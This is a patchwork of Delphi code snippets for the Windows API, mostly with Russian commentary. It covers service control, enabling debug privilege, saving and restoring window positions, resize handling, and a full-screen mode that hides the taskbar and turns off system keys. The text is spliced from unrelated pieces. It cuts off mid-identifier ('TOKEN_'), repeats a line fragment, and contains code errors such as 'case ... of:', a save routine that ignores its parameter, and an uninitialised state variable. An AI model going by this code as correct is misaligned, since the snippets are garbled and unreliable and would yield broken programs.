{ Shut service down: attention not supported by all services }
ControlService(ServiceHandle, SERVICE_CONTROL_SHUTDOWN, ServiceStatus);
end;
function TServiceManager.StartService: Boolean;
begin
Result := DoStartService(0, '');
end;
function TServiceManager.StartService(NumberOfArgument: DWORD;
ServiceArgVectors: PChar): Boolean;
begin
Result := DoStartService(NumberOfArgument, ServiceArgVectors);
end;
function TServiceManager.GetStatus: DWORD;
var
ServiceStatus: TServiceStatus;
begin
{ Returns the status of the service. Maybe you want to check this
more than once, so just call this function again.
Results may be: SERVICE_STOPPED
SERVICE_START_PENDING
SERVICE_STOP_PENDING
SERVICE_RUNNING
SERVICE_CONTINUE_PENDING
SERVICE_PAUSE_PENDING
SERVICE_PAUSED }
Result := 0;
QueryServiceStatus(ServiceHandle, ServiceStatus);
Result := ServiceStatus.dwCurrentState;
end;
procedure TServiceManager.DisableService;
begin
{ Implementation is following... }
end;
function TServiceManager.ServiceRunning: Boolean;
begin
Result := (GetStatus = SERVICE_RUNNING);
end;
function TServiceManager.ServiceStopped: Boolean;
begin
Result := (GetStatus = SERVICE_STOPPED);
end;
function TServiceManager.DoStartService(NumberOfArgument: DWORD;
ServiceArgVectors: PChar): Boolean;
var
err: integer;
begin
Result := WinSvc.StartService(ServiceHandle, NumberOfArgument, ServiceArgVectors);
end;
end.
uses
Windows, Messages, SysUtils, StdCtrls, SvcMgr;
var
ssStatus: TServiceStatus;
schSCManager, schService: SC_HANDLE ;
begin
schSCManager := OpenSCManager( PChar('Comp1'), // имя компьютера, nil - local machine
nil, // ServicesActive database
SC_MANAGER_ALL_ACCESS); // full access rights
if schSCManager = 0 then
exit; //Ошибка?
schService := OpenService(
schSCManager, // SCM database
PChar('SQLServerAgent'), // посмотри имя в Services. В данном случае - MS Server Agent
SERVICE_ALL_ACCESS);
if schService = 0 then
exit; //Ошибка?
if not QueryServiceStatus(
schService, // handle to service
ssStatus) then // address of status information structure
exit; //Ошибка?
case ssStatus.dwCurrentState of:
SERVICE_RUNNING: ShowMessage('Работает!');
SERVICE_STOPPED: ShowMessage('Выключен');
// ну и т.д.
end;
end;
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Установка/снятие Debug привелегии у текущего процесса
Функция устанавливает/снимает отладочные привелегии у текущего процесса
(можно выбрать и другой, изменив GetCurrentProcess на нужный Handle ).
Актуально для совместного использования с ToolHelp -
т.е. получения информации о процессах.
Зависимости: Windows
Автор: Мироводин Дмитрий (адаптация), mirovodin@mail.ru
Copyright: 2000 Jeffrey Richter
Дата: 20 октября 2003 г.
***************************************************** }
function EnableDebugPrivilege(const Value: Boolean): Boolean;
const
SE_DEBUG_NAME = 'SeDebugPrivilege';
var
hToken: THandle;
tp: TOKEN_PRIVILEGES;
d: DWORD;
begin
Result := False;
if OpenProcessToken(GetCurrentProcess(), TOKEN_
Существует ли какой-либо способ получения координат формы, которые она должна иметь при восстановлении с максимально
распахнутого состояния?
Используйте API Функцию GetPlacement. Следующая выдержка из кода моего компонента TBag демонстрирует это:
procedure TBag.SetFormPlace(AName: string; AForm: TForm);
var
s: string[99];
Place: TWindowPlacement;
begin
Place.length := SizeOf(TWindowPlacement);
if not GetWindowPlacement(AForm.Handle, @Place) then
exit;
with Place do
begin
s := IntToStr(Flags);
s := AppendS(s, ShowCmd);
s := AppendS(s, ptMinPosition.X);
s := AppendS(s, ptMinPosition.Y);
s := AppendS(s, ptMaxPosition.X);
s := AppendS(s, ptMaxPosition.Y);
s := AppendS(s, rcNormalPosition.Left);
s := AppendS(s, rcNormalPosition.Top);
s := AppendS(s, rcNormalPosition.Right);
s := AppendS(s, rcNormalPosition.Bottom);
end;
SetString(AName, s);
end;
// For some reason messages.pas declares no message record for this message
type
TWmMoving = record
Msg: Cardinal;
fwSide: Cardinal;
lpRect: PRect;
Result: Integer;
end;
// Add a handler to your forms private section:
procedure WMMoving(var msg: TWMMoving); message WM_MOVING;
// Implement it as
procedure TFormX.WMMoving(var msg: TWMMoving);
var
r: TRect;
begin
r := Screen.WorkareaRect;
// compare the new form bounds in msg.lpRect^ with r and modify it if
// necessary
if msg.lprect^.left < r.left then
OffsetRect(msg.lprect^, r.left - msg.lprect^.left, 0);
if msg.lprect^.top < r.top then
OffsetRect(msg.lprect^, 0, r.top - msg.lprect^.top);
if msg.lprect^.right > r.right then
OffsetRect(msg.lprect^, r.right - msg.lprect^.right, 0);
if msg.lprect^.bottom > r.bottom then
OffsetRect(msg.lprect^, 0, r.bottom - msg.lprect^.bottom);
inherited;
end;
Для этого достаточно висеть на WM_ACTIVATE и при активации окна помещать последнее вниз Z-order'а:
SetWindowPos(
Handle, // здесь указать хэндл окна формы
HWND_BOTTOM,
0, 0, 0, 0,
SWP_NOACTIVATE or SWP_NOMOVE or SWP_NOSIZE or SWP_NOREDRAW
{Перехватываем сообщение GetMinMaxInfo и
устанавливаем минимальный размер окна,
используя декларированные константы}
procedure TForm1.WMGETMINMAXINFO( var message: TMessage );
var
mStruct: PMinMaxInfo;
begin
mStruct := PMinMaxInfo(message.lParam);
mStruct.ptMinTrackSize.x := HORIZONTALSIZE;
mStruct.ptMinTrackSize.y := VERTICALSIZE;
message.Result := 0;
end;
Найти формы, которые частично перекрывают окно вашего приложения
Оформил: DeeCo
Автор: http://www.swissdelphicenter.ch
{
You would have to iterate over all windows above yours in Z-order and
check for each window you find if it has the WS_EX_TOPMOST exstyle set
and is visible.
If it has, you have to get its window rectangle (GetWindowRect) and test
if that overlaps your window.
Example:
}
procedure TForm1.Button1Click(Sender: TObject);
var
wnd: HWND;
function IsTopMost(wnd: HWND): Boolean;
begin
Result := (GetWindowLong(wnd, GWL_EXSTYLE) and WS_EX_TOPMOST) <> 0;
end;
procedure logWindowInfo(wnd: HWND);
const
visString: array[Boolean] of string = ('not ', '');
var
buffer: array[0..256] of Char;
r: TRect;
begin
if wnd = 0 then Exit;
GetClassName(wnd, buffer, SizeOf(buffer));
with Memo1.Lines do
begin
Add(Format(' Window of class %s ', [buffer]));
GetWindowRect(wnd, r);
Add(Format(' at (%d,%d):(%d,%d)', [r.Left, r.Top, r.Right, r.Bottom]));
Add(Format(' Window is %svisible', [visString[IsWindowVisible(wnd)]]));
Add(Format(' Window is %stopmost', [visString[IsTopmost(wnd)]]));
end;
end;
begin
Memo1.Clear;
wnd := Handle;
repeat
wnd := GetNextWindow(wnd, GW_HWNDPREV);
LogWindowInfo(wnd);
until wnd = 0;
Memo1.Lines.Add('End log.');
end;
private
{ Private declarations }
procedure WMSyscommand(var msg: TWmSysCommand); message WM_SYSCOMMAND;
procedure WMSize( Var msg: TWMSize ); Message WM_SIZE;
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
procedure TForm1.WMSyscommand(var msg: TWmSysCommand);
begin
case (msg.CmdType and $FFF0) of
SC_MINIMIZE: begin
ShowMessage('Window about to MINIMIZE');
end;
SC_RESTORE : begin
ShowMessage('Window about to RESTORE');
end;
SC_MAXIMIZE: begin
ShowMessage('Window about to MAXIMIZE');
end;
end;
inherited;
end;
procedure TForm1.WMSize(var msg: TWMSize);
begin
If msg.Sizetype = SIZE_MAXIMIZED then
ShowMessage('Window MAXIMIZED');
inherited;
end;
Мне необходимо иметь в приложении форму, раскрывающуюся при нажатии на кнопку "Открыть на весь экран" только в
половину экрана, а не на полный экран.
Вам необходимо обработать из вашей формы сообщение WM_GETMINMAXINFO.
Например, добавьте следующее объявление в защищенную (protected) секцию вашей формы (interface):
procedure _WM_GETMINMAXINFO( var mmInfo : TWMGETMINMAXINFO );
message wm_GetMinMaxInfo;
и создайте обработчик этого сообщения следующим образом (TForm1, естественно, имя вашей формы):
procedure TForm1._WM_GETMINMAXINFO(var mmInfo: TWMGETMINMAXINFO);
begin
// устанавливаем позицию и размер вашей формы
// при ее максимальном раскрытии:
with mmInfo.minmaxinfo^ do
begin
ptmaxposition.x := Screen.Width div 4;
ptmaxposition.y := Screen.Height div 4;
ptmaxsize.x := Screen.Width div 2;
ptmaxsize.y := Screen.Height div 2;
end;
end;
function IsWindowTopMost(hWindow: HWND): Boolean;
begin
Result := (GetWindowLong(hWindow, GWL_EXSTYLE) and WS_EX_TOPMOST) <> 0
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
if isWindowTopMost(FindWindow('notepad', nil)) then
Label1.Caption := 'Window ist topmost'
else
Label1.Caption := 'Window ist not topmost';
end;
На самоме деле для создания плавающей (floating) палитры вы можете использовать вышу форму. Хитрость заключается
в том, чтобы убедиться, что окно палитры всегда появляется на "переднем плане" основного окна, а не сверху всех
других окон. Этот эффект может быть достигнут перекрытием метода CreateParams вашей формы. Для примера,
procedure TForm2.CreateParams( var Params: TCreateParams );
begin
inherited CreateParams( Params );
with Params do
begin
Style := Style or ws_Overlapped;
WndParent := Form1.Handle;
end;
end;
Вы должны перехватывать сообщение WM_GETMINMAXINFO:
Поместите это в декларацию класса формы:
procedure WMGetMinMaxInfo(var Msg: TWMGetMinMaxInfo);
message WM_GETMINMAXINFO;
и в секции реализации:
procedure TMyForm.WMGetMinMaxInfo(var Msg: TWMGetMinMaxInfo);
begin
{ --------------------------------------------------------------------}
{ Поместите ваши величины вместо }
{ MIN_WIDTH, MIN_HEIGHT, MAX_WIDTH, MAX_HEIGHT }
{ }
{ Для возможности только горизонтального изменение размера, }
{ поместите значение свойства формы 'Height' в MIN_HEIGHT, MAX_HEIGHT }
{ --------------------------------------------------------------------}
Msg.MinMaxInfo^.ptMinTrackSize := Point(MIN_WIDTH, MIN_HEIGHT);
Msg.MinMaxInfo^.ptMaxTrackSize := Point(MAX_WIDTH, MAX_HEIGHT);
inherited;
end;
private
procedure WMSysCommand(var Msg: TWMSysCommand); message WM_SYSCOMMAND;
{...}
implementation
procedure TForm1.WMSysCommand(var Msg: TWMSysCommand);
begin
if ((Msg.CmdType and $FFF0) = SC_MOVE) or
((Msg.CmdType and $FFF0) = SC_SIZE) then
begin
Msg.Result := 0;
Exit;
end;
inherited;
end;
Давайте начнем с Microsoft Windows User Interface Guidelines (Руководящие Принципы Построения Интерфейса
Пользователя Microsoft Windows) и допустим, что мы создаем диалоговое окно, содержащее компонент TMemo,
занимающий большую часть площади формы и кнопки OK и Cancel, размещенные в ее нижней части.
Несколько примечаний из "Принципов":
1. Диалоговые окна должны быть основаны на базовых диалоговых модулях, dialog base units (DBU), которые
создаются с учетом размера шрифта и разрешения экрана.
2. Диалоговые окна должны быть созданы, по возможности, на основе одного из нескольких стандартных размеров.
Для нашего окна мы используем размер 212x188 DBU.
3. Все элементы управления должны распологаться как минимум на расстоянии 7 DBU от края окна.
4. Все элементы управления должны иметь между друг другом зазор размером минимум 4 DBU.
5. Кнопки должны иметь высоту 14 DBU. (Про ширину кнопок "принципы" умалчивают; в обычном случая я использую
кнопки шириной 40 DBU.)
Вот необходимая для создания формы и элементов управления информация, которую мы можем получить во время
выполнения приложения:
procedure TMyForm.FormCreate(Sender: TObject);
var
BaseUnit, Margin, Spacing, BtnW, BtnH: Integer;
begin
BaseUnit := Canvas.TextHeight('0'); { 1 BaseUnit = 8 DBU определениям }
Width := (212 * BaseUnit) div 8;
Height := (188 * BaseUnit) div 8;
Margin := (7 * BaseUnit) div 8 - GetSystemMetrics(SM_CXFIXEDFRAME);
Spacing := (4 * BaseUnit) div 8;
BtnW := (40 * BaseUnit) div 8;
BtnH := (14 * BaseUnit) div 8;
Memo1.SetBounds(Margin, Margin, ClientWidth - 2 * Margin, ClientHeight -
2 * Margin - Spacing - BtnH);
OkButton.SetBounds(ClientWidth - Margin - Spacing - 2 * BtnW, ClientHeight -
Margin - BtnH, BtnW, BtnH);
CancelButton.SetBounds(ClientWidth - Margin - BtnW, ClientHeight - Margin -
BtnH, BtnW, BtnH);
end;
Данный код позволяет создать диалоговое окно с правильными размерами и пропорциями, независимо от разрешения экрана и шрифтов.
{
Der erste Parameter von ScaleBy ist der Multiplikator, der zweite
der Divisor. Folgendes Beispiel skaliert die Form auf 150%
The first parameter of ScaleBy is the multiplier, the second
the divisor. The example scale the form to 150%
}
procedure TForm1.Button1Click(Sender: TObject);
begin
ScaleBy(150, 100);
end;
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Сворачивает все приложение при сворачивании неглавного окна.
Обработчик сообщении. При попытке свернуть окно - сворачивает все приложение.
Предназначен для неглавных немодальных окон.
Зависимости: Как у стандартной формы...
Автор: Vemer, Vemer@mail.ru, Петрозаводск
Copyright: создано на основе примеров на www.delphimaster.ru
Дата: 17 марта 2004 г.
***************************************************** }
// Пишем в Private формы(неглавной);
procedure WMSysCommand(var message: TWMSysCommand); message WM_SysCommand;
...
// Пишем в тексте программы:
procedure TF_Shop.WMSysCommand(var message: TWMSysCommand);
begin
if message.CmdType = SC_MINIMIZE then
Application.Minimize
else
inherited;
end;
{
With this code you can create none border style (BorderStyle = bsNone)
but sizeable windows (forms)
First you must set BorderStyle := bsNone of your Form in Object Browser.
There is your small but forced code;
}
type
TForm1 = class(TForm)
private
{ Private declarations }
public
{ Public declarations }
procedure CreateParams(var Params: TCreateParams); override;
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
procedure TForm1.CreateParams(var Params: TCreateParams);
begin
inherited CreateParams(Params);
Params.Style := (Params.Style or WS_THICKFRAME);
end;
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Сохранение и восстановление положения и размеров окон
Процедуры SaveWndPos и SetWndPos работают в паре.
Сохраняют для конкретного пользователя Windows в реестре местоположение,
размер окон (и прочих Control'ов при явном указании),
а также ширины и порядок расположения колонок в DBGrid'ах на форме.
Не дает "потерять" колонки совсем.
Возможные проблемы:
1. С записью в реестр без прав (в некую левую ветку).
2. При изменении имен и количества полей в DBGrid'е.
3. С окнами неизменяемого размера, если его в Design-time поменяли.
Комментарии:
1. Статус колонки DBGrid (visible, readonly) не сохраняется, но сделать
это несложно.
2. Для формы, которая используются для разных целей, но хотелось бы
сохранить ее характеристики для каждой цели отдельно, можно явно
указывать УНИКАЛЬНЫЙ класс.
Важное уточнение:
Сохранение параметров DBGrid происходит ТОЛЬКО при статически
описанных колонках в самом гриде.
Еще комментарий:
параметр lSetSize в SetWndPos применяется только к размерам формы, а
не к ширине колонок. Но можно и это учесть.
Зависимости: Windows, Messages, SysUtils, Classes, Graphics, Controls,
Forms, Dialogs, StdCtrls, ExtCtrls, Buttons, Registry, Math, DB, DbTables, dbGrids
Автор: Александр Хабаров aka Desdechado, x_a_u@mail.ru, Феодосия
Copyright: Александр Хабаров
Дата: 13 мая 2002 г.
***************************************************** }
const
cRegKey = '\Software\CoolSoft\Настройки\';
procedure SaveWndPos(frm: TControl; cClass: string = '');
var
rct: TRect;
oReg: TRegistry;
grid: TDBGrid;
i, j: Integer;
begin
{--- определить параметры ---}
rct := frm.BoundsRect;
if (cClass = '') then
cClass := frm.ClassName;
{--- сохранить в реестре ---}
oReg := TRegistry.Create();
with (oReg) do
try
RootKey := HKEY_CURRENT_USER;
{--- ... размер окна ---}
if (OpenKey(cRegKey + cClass, True)) then
begin
if (frm is TForm) then
WriteInteger('Show', Ord((frm as TForm).WindowState));
if (not (frm is TForm) or
((frm as TForm).WindowState = wsNormal)) then
begin
WriteInteger('Left', rct.Left);
WriteInteger('Top', rct.Top);
WriteInteger('Right', rct.Right);
WriteInteger('Bottom', rct.Bottom);
end;
end;
CloseKey();
{--- ... размеры и положение колонок в Grid'ах ---}
for i := 0 to frm.ComponentCount - 1 do
if (frm.Components[i].ClassName = D
if (frm.Components[i].ClassName = 'TDBGrid') then
begin
grid := TDBGrid(frm.Components[i]);
for j := 0 to grid.Columns.Count - 1 do
begin
if (OpenKey(cRegKey + cClass + '\' + grid.Name + '\' +
IntToStr(j), True)) then
begin
WriteString('Name', grid.Columns[j].FieldName);
WriteInteger('Width', grid.Columns[j].Width);
end;
CloseKey();
end; // for( j )
end;
finally
CloseKey();
Free;
end;
end;
procedure SetWndPos(frm: TControl; lSetSize: Boolean = True;
cClass: string = '');
var
rct: TRect;
oReg: TRegistry;
nShow, i, j, k: Integer;
grid: TDBGrid;
cName: string;
begin
nShow := Ord(wsNormal);
{--- текущие параметры (на случай, если нет в реестре) ---}
rct := frm.BoundsRect;
if (cClass = '') then
cClass := frm.ClassName;
if (frm is TForm) then
nShow := Ord((frm as TForm).WindowState);
{--- считать из реестра ---}
oReg := TRegistry.Create();
with (oReg) do
try
RootKey := HKEY_CURRENT_USER;
{--- ... размер окна ---}
if (OpenKeyReadOnly(cRegKey + cClass)) then
begin
if (frm is TForm) then
nShow := ReadInteger('Show');
if (ValueExists('Left')) then
rct.Left := ReadInteger('Left');
if (ValueExists('Top')) then
rct.Top := ReadInteger('Top');
if (ValueExists('Right')) then
rct.Right := ReadInteger('Right');
if (ValueExists('Bottom')) then
rct.Bottom := ReadInteger('Bottom');
end;
CloseKey();
{--- ... размеры и положение колонок в Grid'ах ---}
for i := 0 to frm.ComponentCount - 1 do
if (frm.Components[i].ClassName = 'TDBGrid') then
begin
grid := TDBGrid(frm.Components[i]);
for j := 0 to grid.Columns.Count - 1 do
begin
if (OpenKeyReadOnly(cRegKey + cClass + '\' + grid.Name + '\' +
IntToStr(j))) then
begin
cName := ReadString('Name');
for k := 0 to grid.Columns.Count - 1 do
if (grid.Columns[k].FieldName = cName) then
begin
grid.Columns[k].Index := j;
break;
end;
grid.Columns[j].Width := ReadInteger('Width');
end;
CloseKey();
{--- экстремальные ширины - нормировать ---}
grid.Columns[j].Width := Max(grid.Columns[j].Width, 3);
grid.Columns[j].Width := Min(grid.Columns[j].Width,
grid.ClientWidth - 3);
end; // for( j )
end;
finally
CloseKey();
Free;
end;
{--- применить считанное к окну ---}
if (lSetSize) then
frm.BoundsRect := rct
else
begin
frm.Top := rct.Top;
frm.Left := rct.Left;
end;
if ((frm is TForm) and (nShow = Ord(wsMaximized))) then
(frm as TForm).WindowState := wsMaximized;
end;
procedure FitDeskTop(frm: TControl);
var
rct: TRect;
begin
rct := frm.BoundsRect;
if (rct.Top < 0) then
rct.Top := 0
else if (rct.Bottom >= Screen.DeskTopHeight) then
rct.Top := rct.Top + Screen.DeskTopHeight - rct.Bottom - 1;
if (rct.Left < 0) then
rct.Left := 0
else if (rct.Right >= Screen.DeskTopWidth) then
rct.Left := rct.Left + Screen.DeskTopWidth - rct.Right - 1;
rct.Bottom := rct.Top + frm.Height;
rct.Right := rct.Left + frm.Width;
frm.BoundsRect := rct;
end;
Пример использования:
{
0. не забудьте поменять константу для СВОЕЙ ветки в реестре
1. после создания окна перед Show
2. перед frm.Release (удалением) надо вызывать SaveWndPos
}
procedure TfrmCard.FormCreate(Sender: TObject);
begin
// прочий код здесь
SetWndPos(Self);
end;
procedure TfrmCard.FormClose(Sender: TObject; var Action: TCloseAction);
begin
// прочий код здесь
SaveWndPos(Self);
Action := caFree;
end;
Приведу код WindowRestorer - восстановителя размера и состояния окна.
ОПИСАНИЕ: Вы наверное замечали, что профессионально написанные программы "запоминают" состояние и позицию окон
с момента их последнего показа? А большинство RAD-приложений это игнорируют? Вы можете исправить эту ошибку,
взяв на вооружение этот модуль. Он позволяет сохранять позицию, размер и состояние окна, поэтому пользователь,
открыв его вновь, увидит его в том же состоянии, в котором он видел его в последний раз.
ИСПОЛЬЗОВАНИЕ: Поместите WINRSTOR в список используемых модулей главной или любой другой формы, состояние,
размер и позицию которой вы хотите сохранить. (Если вы сэкономить время и для восстановления дочерних форм
использовать WinSaveChildren и WinRestoreChildren из главной формы, вы должны объявить этот модуль только в
главной форме.)
В MainForm.Create, инициализируйте глобальный объект WinRestorer следующим образом (он должен предварительно
быть объявлен, но еще не инициализирован):
GlobalWinRestorer := TWinRestorer.create( Application, TRUE, WHATSAVE_ALL);
Или так:
GlobalWinRestorer := TWinRestorer.create( Application, TRUE, [location, size, state]);
Затем в MainForm.Destroy вы должны разрушить глобальный объект WinRestorer следующим образом:
GlobalWinRestorer.free;
Хорошее место для сохранения статуса формы - в обработчике события queryclose или в специально созданной кнопке
или пункте меню. Я обычно создаю этот пункт в меню "Файл" с именем '&Сохранение рабочей области' и обрабатываю
следующим образом:
GlobalWinRestorer.SaveChildren(Self, [default]);
И при закрытии основной формы необходимо сделать следующее:
GlobalWinRestorer.SaveWin(Self, [WHATSAVE_ALL]);
Восстановить состояние дочерних форм можно следующим образом:
GlobalWinRestorer.RestoreWin(Self, [default]);
Я же переместил данный код в обработчик события show моей главной формы:
GlobalWinRestorer.RestoreWin(Self, [default]);
GlobalWinRestorer.RestoreChildren(Self, [default]);
Подсказки: Если вы установили TForm.Position в poScreenCenter или что-то подобное, данный модуль вам не
поможет. poDesigned кажется, работает как положено. Можно добавить обработку исключения, если вы пытаетесь
установить верхнюю или левую позицию при значении формы poScreenCentere, но при этом вы должны быть
осторожными при использовании WinRestoreChildren. Я не проверял это со значениями координат (позиции) и оставил
это на усмотрение разработчиков.
unit WinRstor;
interface
uses SysUtils, Forms;
type
{=============================================================}
{------------------------------------------------------------------
Восстановитель окон классовых объектов и связанных типов.
-------------------------------------------------------------------}
EWinRestorer = class(Exception);
TWhatSave = (default, size, location, state);
STWhatSave = set of TWhatSave;
TWinRestorer = class(TObject)
protected
mIniFile: string;
mIniSect: string[80];
mIsInitialized: boolean;
mDefaultWhat: STWhatSave;
public
constructor Create(TheApp: TApplication;
LocalDir: boolean; DefaultWhatSave: STWhatSave);
{Если localDir = true, каталог ini = каталогу приложения.
Else, ini dir is the windows dir.}
procedure SaveWin(TheForm: TForm; What: STWhatSave);
procedure SaveChildren(TheMDIForm: TForm; What: STWhatSave);
procedure RestoreWin(TheForm: TForm; What: STWhatSave);
procedure RestoreChildren(TheMDIForm: TForm; What: STWhatSave);
property IniFileName: string read mIniFile;
end;
const
WHATSAVE_ALL = [size, location, state];
var
GlobalWinRestorer: TWinRestorer;
implementation
uses IniFiles;
constructor TWinRestorer.create;
var
fname, path: string[100];
begin
inherited create;
{Получаем имя ini-файла}
if default in DefaultWhatSave then
raise EWinRestorer.create(
'Попытка инициализации параметров с позицией окна по умолчанию ' +
' с установленным элементом [default]. ' +
'Параметры по умолчанию могут содержать только установленные элементы -
[size, location, state]. ')
else
mDefaultWhat := DefaultWhatSave;
fname := ChangeFileExt(ExtractFileName(TheApp.exeName), '.INI');
if LocalDir then
begin {вычисляем путь и добавляем к нему имя файла}
path := ExtractFilePath(TheApp.exeName);
if path[length(path)] <> '\' then
path := path + '\';
fname := path + fname;
end;
{заполняем поля объекта}
mIniFile := fname;
mIniSect := 'WindowsRestorer';
{Для культуры напишем некоторое примечание
в секцию с именем [WinRestorer Notes]}
end;
procedure TWinRestorer.RestoreWin;
var
FormNm, SectionNm: string[80];
ini: TIniFile;
n, l, t, w, h: integer; {Left, Top Width, Height}
begin
ini := TIniFile.create(mIniFile);
try
SectionNm := mIniSect;
FormNm := TheForm.classname;
if default in What then
What := mDefaultWhat;
{При необходимости обновляем состояние окна}
if state in What then
n := ini.ReadInteger(SectionNm, FormNm + '_WindowState', 0);
case n of
1: TheForm.WindowState := wsMinimized;
2: TheForm.WindowState := wsNormal;
3: TheForm.WindowState := wsMaximized;
end;
{При необходимости обновляем размеры и позицию.}
with TheForm do
begin
l := left;
t := top;
h := height;
w := width;
end; {Сохраняем текущие значения.}
if size in What then
begin
w := ini.ReadInteger(SectionNm, FormNm + '_Width', w);
h := ini.ReadInteger(SectionNm, FormNm + '_Height', h);
end;
if location in What then
begin
t := ini.ReadInteger(SectionNm, FormNm + '_Top', t);
l := ini.ReadInteger(SectionNm, FormNm + '_Left', l);
end;
TheForm.SetBounds(l, t, w, h);
finally
ini.free;
end;
end;
procedure TWinRestorer.RestoreChildren;
var
i: integer;
begin
if TheMDIForm.formstyle <> fsMDIForm then
raise
EWinRestorer.create('Попытка сохранения размеров дочернего
окна для не-MDI окна родителя.')
else
for i := 0 to TheMDIForm.MDIChildCount - 1 do
RestoreWin(TheMDIForm.MDIChildren[i], what);
end;
procedure TWinRestorer.SaveWin;
var
FormNm, SectionNm: string[80];
w: STWhatsave;
ini: TIniFile;
begin
ini := TIniFile.create(mIniFile);
try
SectionNm := mIniSect;
FormNm := TheForm.ClassName;
if default in What then
w := mDefaultWhat
else
w := mDefaultWhat;
if size in w then
begin
ini.WriteInteger(SectionNm, FormNm + '_Width', TheForm.Width);
ini.WriteInteger(SectionNm, FormNm + '_Height', TheForm.Height);
end;
if location in w then
begin
ini.WriteInteger(SectionNm, FormNm + '_Top', TheForm.Top);
ini.WriteInteger(SectionNm, FormNm + '_Left', TheForm.Left);
end;
if state in w then
case TheForm.WindowState of
wsMinimized: ini.WriteInteger(SectionNm, FormNm + '_WindowState', 1);
wsNormal: ini.WriteInteger(SectionNm, FormNm + '_WindowState', 2);
wsMaximized: ini.WriteInteger(SectionNm, FormNm + '_WindowState', 3);
end;
finally
ini.free;
end;
end;
procedure TWinRestorer.SaveChildren;
var
i: integer;
begin
if TheMDIForm.formstyle <> fsMDIForm then
raise
EWinRestorer.create('Попытка восстановления размеров дочернего
окна для не-MDI окна родителя.')
else
for i := 0 to TheMDIForm.MDIChildCount - 1 do
SaveWin(TheMDIForm.MDIChildren[i], what);
end;
initialization
end.
Текущую позицию можно получить от холста, используя Windows API функцию GetCurrentPosition:
CurrentX := LoWord( GetCurrentPosition( Canvas.Handle ) ) ;
CurrentY := HiWord( GetCurrentPosition( Canvas.Handle ) ) ;
Попробуйте нижеприведенные обработчики событий WMNCPaint и WMNCHitTest.
При этом форма должна иметь свойство BorderStyle равным Sizeable, так как код использует область границ для
создания 3D эффекта и предоставляет пользователю возможность изменения размера формы.
Для запрещения изменения размеров формы вы должны включить обработчик события WMNCHitTest, для обратного
эффекта не включайте его в ваш код.
procedure TForm1.WMNCPaint(var Msg: TWMNCPaint);
var
DC: HDC;
Frame_H: Integer;
Frame_W: Integer;
Menu_H: Integer;
Caption_H: Integer;
Frame: TRect;
Extra: Integer;
Canvas: TCanvas;
begin
{ Задаем значения некоторым параметрам окна }
Frame_W := GetSystemMetrics(SM_CXFRAME);
Frame_H := GetSystemMetrics(SM_CYFRAME);
if (Menu <> nil) then
Menu_H := GetSystemMetrics(SM_CYMENU)
else
Menu_H := -1;
Caption_H := GetSystemMetrics(SM_CYCAPTION);
GetWindowRect(Handle, Frame);
Frame.Right := Frame.Right - Frame.Left - 1;
Frame.Left := 0;
Frame.Bottom := Frame.Bottom - Frame.Top - 1;
Frame.Top := 0;
{ Позволяем нарисовать стандартные границы формы }
inherited;
{ Перерисовываем область границ в 3-D стиле }
DC := GetWindowDC(Handle);
Canvas := TCanvas.Create;
try
with Canvas do
begin
Handle := DC;
{ Левая и верхняя граница }
Pen.Color := clBtnShadow;
PolyLine([Point(Frame.Left, Frame.Bottom), Point(Frame.Left, Frame.Top),
Point(Frame.Right, Frame.Top)]);
{ Правая и нижняя граница }
Pen.Color := clWindowFrame;
PolyLine([Point(Frame.Left, Frame.Bottom),
Point(Frame.Right, Frame.Bottom),
Point(Frame.Right, Frame.Top - 1)]);
{ Левая и правая граница, 1 пиксел скраю }
Pen.Color := clBtnHighlight;
PolyLine([Point(Frame.Left + 1, Frame.Bottom - 1),
Point(Frame.Left + 1, Frame.Top + 1),
Point(Frame.Right - 1, Frame.Top + 1)]);
{ Правая и нижняя граница, 1 пиксел скраю }
Pen.Color := clBtnFace;
PolyLine([Point(Frame.Left + 1, Frame.Bottom - 1),
Point(Frame.Right - 1, Frame.Bottom - 1),
Point(Frame.Right - 1, Frame.Top)]);
{ Разность области изменяемых границ }
for Extra := 2 to (GetSystemMetrics(SM_CXFRAME) - 1) do
begin
Brush.Color := clBtnFace;
FrameRect(Rect(Extra, Extra, Frame.Right - Extra + 1, Frame.Bottom -
Extra + 1));
end;
{ Левая и верхняя граница области заголовка }
Pen.Color := clBtnShadow;
PolyLine([Point(Frame_W - 1, Frame_H + Caption_H + Menu_H - 1),
Point(Frame_W - 1, Frame_H - 1),
Point(Frame.Right - Frame_W + 1, Frame_H - 1)]);
{ Левая и верхняя граница области заголовка }
Pen.Color := clBtnHighlight;
PolyLine([Point(Frame_W - 1, Frame_H + Caption_H + Menu_H - 1),
Point(Frame.Right - Frame_W + 1, Frame_H + Caption_H + Menu_H - 1),
Point(Frame.Right - Frame_W + 1, Frame_H - 1)]);
end;
finally
Canvas.Free;
ReleaseDC(Handle, DC);
end; { try-finally }
end;
procedure TForm1.WMNCHitTest(var Msg: TWMNCHitTest);
var
HitCode: LongInt;
begin
inherited;
HitCode := Msg.Result;
if ((HitCode = HTLEFT) or (HitCode = HTRIGHT) or
(HitCode = HTTOP) or (HitCode = HTBOTTOM) or
(HitCode = HTTOPLEFT) or (HitCode = HTBOTTOMLEFT) or
(HitCode = HTTOPRIGHT) or (HitCode = HTBOTTOMRIGHT)) then
begin
HitCode := HTNOWHERE;
end;
Msg.Result := HitCode;
end;
{
Make your application like a game. Full Screen.
Disable all of the system keys.
}
procedure TForm1.FormCreate(Sender: TObject);
var
HTaskbar: HWND;
OldVal: LongInt;
begin
try
// Find handle of TASKBAR
HTaskBar := FindWindow('Shell_TrayWnd', nil);
// Turn SYSTEM KEYS off, Only Win 95/98/ME
SystemParametersInfo(97, Word(True), @OldVal, 0);
// Disable the taskbar
EnableWindow(HTaskBar, False);
// Hide the taskbar
ShowWindow(HTaskbar, SW_HIDE);
finally
with Form1 do
begin
BorderStyle := bsNone;
FormStyle := fsStayOnTop;
Left := 0;
Top := 0;
Height := Screen.Height;
Width := Screen.Width;
end;
end
end;
procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
var
HTaskbar: HWND;
OldVal: LongInt;
begin
//Find handle of TASKBAR
HTaskBar := FindWindow('Shell_TrayWnd', nil);
//Turn SYSTEM KEYS Back ON, Only Win 95/98/ME
SystemParametersInfo(97, Word(False), @OldVal, 0);
//Enable the taskbar
